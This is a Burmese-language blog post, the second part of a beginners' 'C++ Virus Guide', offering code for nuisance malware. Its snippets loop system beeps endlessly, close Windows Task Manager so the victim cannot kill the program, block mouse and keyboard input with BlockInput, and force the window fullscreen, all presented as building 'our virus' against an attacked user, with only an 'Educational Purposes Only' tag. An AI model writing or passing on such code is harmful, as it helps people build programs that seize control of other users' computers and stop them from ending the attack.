စတင္ေလ့လာသူမ်ားအတြက္ C++ Virus Guide (၂)

Monday, March 26, 20120 comments

အရင္ post မွာ ေတာ္ေတာ္ေလး ရွင္းခဲ႔ျပီးပါျပီ... ဒီ post မွာေတာ့ payload အပိုင္းနဲ႔ taskmanager ေပၚမလာေအာင္လို႔ ဘယ္လိုလုပ္မလဲဆိုတာကို တင္ေပးထားပါတယ္။ ဒီ post ကိုမဖတ္ခင္မွာ စတင္ေလ့လာသူမ်ားအတြက္ C++ Virus Guide ကိုအရင္ဖတ္ဖို႔ လိုမယ္ထင္ပါတယ္...ဘာလို႔လဲဆိုေတာ့ အဲဒီ post က C++ Virus ေရးသားနည္းအတြက္ အေျခခံမို႔လို႔ပါ။
ေအာက္မွာျပထားတဲ႔ code ကေတာ့ သင့္computer ရဲ႕ beep ထြက္လာေအာင္ျပဳလုပ္ႏိုင္ပါတယ္...

int Freq = 100;

int Duration = 100;

Beep(Freq,Duration);
အခုေအာက္မွာ ထပ္ျပထားတဲ႔ code ေတြကေတာ့ beep ေတြကို ထပ္ခါထပ္ခါ ထြက္လာေစျပီး ဆူညံသြားေအာင္ ဖန္တီးႏိုင္ပါတယ္။

while(1==1)

{Beep(Freq,Duration);}

}
အေပၚမွာ ေဖာ္ျပထားတဲ႔ code ေတြနဲ႔ ယွဥ္တြဲျပီး ေလ့လာႏိုင္ေအာင္ စိတ္ညစ္စရာေကာင္းတဲ႔ ဆူဆူညံညံအသံေတြကို ဖန္တီးႏိုင္တဲ႔ virus sample တစ္ခုကို ေအာက္မွာေပးထားပါတယ္...download ယူျပီးၾကည့္ႏိုင္ပါတယ္။ .cpp နဲ႔ save ထားတာျဖစ္လို႔ အႏၲရာယ္မျဖစ္ႏိုင္ပါဘူး။






ဆူဆူညံညံအသံေတြထြက္ေအာင္ လုပ္ႏိုင္တာေတာ့ ဟုတ္ပါျပီ... က်ေနာ္တို႔ရဲ႕ virus program ကို virus တိုက္ခိုက္ခံရတဲ႔ သူက ရပ္တန္႔သြားေအာင္ လုပ္လို႔မရေအာင္ ဘယ္လိုလုပ္မလဲ...?
အေျဖကေတာ့ - BlockInput();
BlockInput() ဟာ ျပႆနာေလးတစ္ခုရွိေနတာက လြဲရင္အဆင္ေျပပါတယ္... ဘာျပႆနာလဲဆိုေတာ့ user က CTRL + ALT + DEL keyေတြကို ႏွိပ္ျပီး taskmanager ကိုဖြင့္ျပီး က်ေနာ္တို႔ရဲ႕ program ကို ရပ္တန္႔ႏိုင္ပါေသးတယ္...input ႏွစ္ခုလံုးကို ရပ္တန္႔သြားေစဖို႔အတြက္ကေတာ့....

#include <winable.h> //must have for BlockInput
//အရင္C++ Virus Guide မွာေလ့လာခဲ႔ရတဲ႔ code ေတြကို ဒီေနရာမွာထည့္ပါ။

hWin = FindWindow(NULL,"Windows Task Manager"); //checks to make sure taskmgr isnt opened

SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0); // if taskmgr is open it will close

BlockInput(true);

cout << "Your Input Is Blocked" <<endl;

Sleep(10000); //pauses for 10 seconds

BlockInput(false);

cout << "Your Input Is Unblocked" <<endl;

}
အခုအေပၚမွာျပထားတဲ႔ code ေတြကို compile လုပ္ျပီး run လိုက္မယ္ဆိုရင္ 10 seconds ေလာက္ေတာ့ သင့္ရဲ႕ mouse ကိုေရႊ႕လို႔ရေတာ့မွမဟုတ္သလို keyboard ကေနလည္း ဘာမွရုိက္လို႔မရေတာ့ပါဘူး။

သင့္ရဲ႕ C++ virus ကို full screen လုပ္ခ်င္တယ္ဆိုရင္ေတာ့ ... ေအာက္က code ေတြကိုေလ့လာၾကည့္ပါ...

#include <iostream>

using namespace std;

#include <windows.h>

#include <conio.h>

class Program {

public:

void Fullscreen();

};

int main()

{

Program start;

start.Fullscreen();

cout<<"This is a full-screen C++ application!!";

getch();

return 0;

}

void Program::Fullscreen()

{

keybd_event (VK_MENU, 0x38, 0, 0);

keybd_event (VK_RETURN, 0x1c, 0, 0);

keybd_event (VK_RETURN, 0X1c, KEYEVENTF_KEYUP, 0);

keybd_event (VK_MENU, 0x38, KEYEVENTF_KEYUP, 0);

}

ဒီေလာက္ဆိုရင္ေတာ့ အဆင္ေျပေလာက္မယ္ထင္ပါတယ္...ေနာက္ထပ္ virus sample ေတြကိုထပ္တင္ေပးပါအံုးမယ္...။

(Educational Purposes Only)
Share this article :

Post a Comment

 
Support : Creating Website | Johny Template | Mas Template
Copyright © 2011. ထီဖိုးစံ (စော) - All Rights Reserved
Template Created by Creating Website Published by Mas Template
Proudly powered by Blogger